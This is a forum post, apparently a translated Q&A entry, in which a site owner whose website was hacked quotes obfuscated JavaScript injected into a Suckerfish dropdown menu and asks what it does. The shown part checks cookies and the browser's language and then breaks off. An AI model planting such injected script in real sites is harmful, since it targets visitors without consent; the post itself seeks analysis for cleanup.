小编Jon*_*ton的帖子

刚刚发现我的网站被黑了.我将问题追溯到插入Suckerfish下拉菜单中的这段Javascript代码.我要用干净的备份替换菜单,但我很好奇这段代码实际上做了什么？

(function() {
    var kuk = 'ck5',
    de = document,
    n = navigator,
    u = n.userAgent,
    l = 'anguage';
    function c(b) {
        var i = 'indexOf',
        l = 'length',
        c = de.cookie;
        b = b + "=";
        var a = c[i]("; " + b),
        d = c[i](";", a);
        if (a == -1) {
            a = c[i](b);
            if (a != 0)
                return 0
        }
        return 1
    }
    n = /^en-gb$/i.test(n['systemL' + l] || n['userL' + l] || n['l' + l]) && …